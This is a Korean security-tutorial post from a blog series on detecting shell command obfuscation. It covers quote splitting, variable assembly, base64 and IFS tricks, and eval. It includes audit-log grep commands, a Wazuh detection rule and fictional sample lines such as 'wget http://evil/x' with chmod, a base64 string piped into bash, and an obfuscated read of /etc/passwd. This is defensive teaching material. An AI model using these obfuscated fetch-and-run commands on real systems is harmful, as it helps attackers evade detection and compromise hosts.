시스템 보안 · 취약점 › H. 방어 회피 · 흔적 삭제 징후 · 32/50편 (전체 382/450)
학습 단계: 위장·난독화·흔적 분석
실습 표기: 이 글의 명령어·출력·로그는 로컬 VMware 테스트 VM(Rocky Linux 9 / Ubuntu 22.04) 기준의 「실습 예시」이며, IP·계정·호스트명은 가상의 값입니다.
명령어 난독화(obfuscation)는 명령의 의미는 유지한 채 형태를 바꿔 시그니처(패턴) 탐지를 회피하는 기법입니다. 문자열 분할·변수 치환·공백·따옴표 삽입 등으로 wget·/etc/passwd 같은 탐지 키워드를 깨뜨립니다.
명령어 난독화 기법
문자열 분할: w''get, w"g"et → wget
변수 치환: a=wge;b=t;$a$b → wget
문자 치환: $(echo d2dldA==|base64 -d) → wget
공백·탭 조작: 명령 사이 비정상 공백
IFS 조작: 구분자 변경으로 파싱 회피
탐지: 비정상 따옴표·변수 조합·base64·eval 패턴, 행위 기반
핵심은 "읽기 어렵게 만든 명령"입니다. 시그니처는 깨져도 실행 결과(행위)는 같으므로, 행위 기반 탐지와 난독화 패턴 자체 탐지를 병행합니다.
| 난독화 | 예 | 탐지 |
|---|---|---|
| 문자열 분할 | w''get | 따옴표 패턴 |
| 변수 치환 | b 조합 | 변수 조립 |
| 인코딩 | base64 -d | 인코딩 키워드 |
| eval 실행 | eval $var | eval 패턴 |
| 행위 기반 | — | 실행 결과 |
# 명령어 난독화 탐지 (분석 방법)
# 비정상 따옴표·변수 조합·eval
sudo ausearch -k proc_exec -i --start recent 2>/dev/null | grep -E "proctitle=.*(\\\$\{?[a-z]+\}?\\\$|''|\"\"|eval |\\\$\(.*\))" | tail
# 인코딩 디코드 후 실행 패턴
sudo ausearch -k proc_exec -i --start recent 2>/dev/null | grep -E 'base64\s+-d|xxd\s+-r|\\\\x[0-9a-f]{2}' | tail
# IFS·구분자 조작
sudo ausearch -k proc_exec -i --start recent 2>/dev/null | grep -E 'IFS=' | tail
$ (난독화 패턴) (없음 — 정상 평문 명령)
$ (인코딩 실행) (없음)
명령이 평문으로 실행되고, 비정상 따옴표·변수 조합·인코딩 디코드·eval 패턴이 없는 상태가 정상입니다.
$ (난독화 패턴)
proctitle="w''g''et http://..." (문자열 분할)
proctitle="a=/etc/;b=passwd;cat $a$b" (변수 조립)
$ (인코딩 실행)
proctitle="echo d2dldCBodHRw|base64 -d|bash" (base64 난독화)
명령어 난독화 분석입니다(가상의 예시).
[공격자] 원래 명령: wget http://evil/x -O /tmp/x; chmod +x
↓ (난독화)
w''g''et ... (따옴표 분할)
또는 echo <base64>|base64 -d|bash (인코딩)
→ 시그니처 "wget" 패턴 회피
↕ (탐지)
[패턴] 비정상 따옴표·base64|bash·변수 조립 자체를 탐지
[행위] 실행 결과: 외부 다운로드+chmod → 동일 행위 포착
↓
= 형태는 속여도 난독화 흔적·행위는 남음 → 정탐
| 관점 | 난독화 | 탐지 |
|---|---|---|
| 시그니처 | 키워드 깨짐 | 난독화 패턴 |
| 행위 | 동일 | 행위 기반 |
| 인코딩 | base64 | 디코드 패턴 |
난독화 패턴 + 행위 기반이 난독화 탐지의 핵심입니다.
<!-- 실습 예시 룰: 적용 전 wazuh-logtest 및 테스트 환경 검증 필요 -->
<group name="local,syssec_h,defense_evasion,">
<rule id="107310" level="12">
<if_sid>107000</if_sid>
<field name="audit.proctitle" type="pcre2">base64\s+-d.*(sh|bash)|eval\s+\$|\$\{?IFS\}?|([a-z])['"]{2}([a-z])</field>
<description>명령어 난독화(문자열 분할·인코딩·eval, 시그니처 회피)</description>
<mitre><id>T1027</id><id>T1140</id></mitre>
</rule>
</group>
난독화 패턴(인코딩·eval·따옴표 분할)을 탐지하고, 디코드 후 행위를 행위 기반 룰로 보완합니다. 정상 스크립트의 인코딩 사용은 기준선으로 구분합니다.
| 난독화 | 예 |
|---|---|
| 문자열 분할 | w''get |
| 변수 치환 | b 조합 |
| 인코딩 | base64 -d |
| eval 실행 | eval $var |
| 면접 포인트 | "난독화는 시그니처만 깸 — 패턴 탐지+행위 기반으로 실제 명령 포착" |
다음 편 383. 방어 회피·흔적 삭제 — 인코딩·암호화 기반 우회 탐지 에서는 인코딩·암호화 기반 우회를 다루는 인코딩·암호화 기반 우회 탐지를 다룹니다.
이전 편: 381. 방어 회피·흔적 삭제 — 경로·위치 위장 탐지
📚 시리즈 전체 보기: 시스템 보안 · 취약점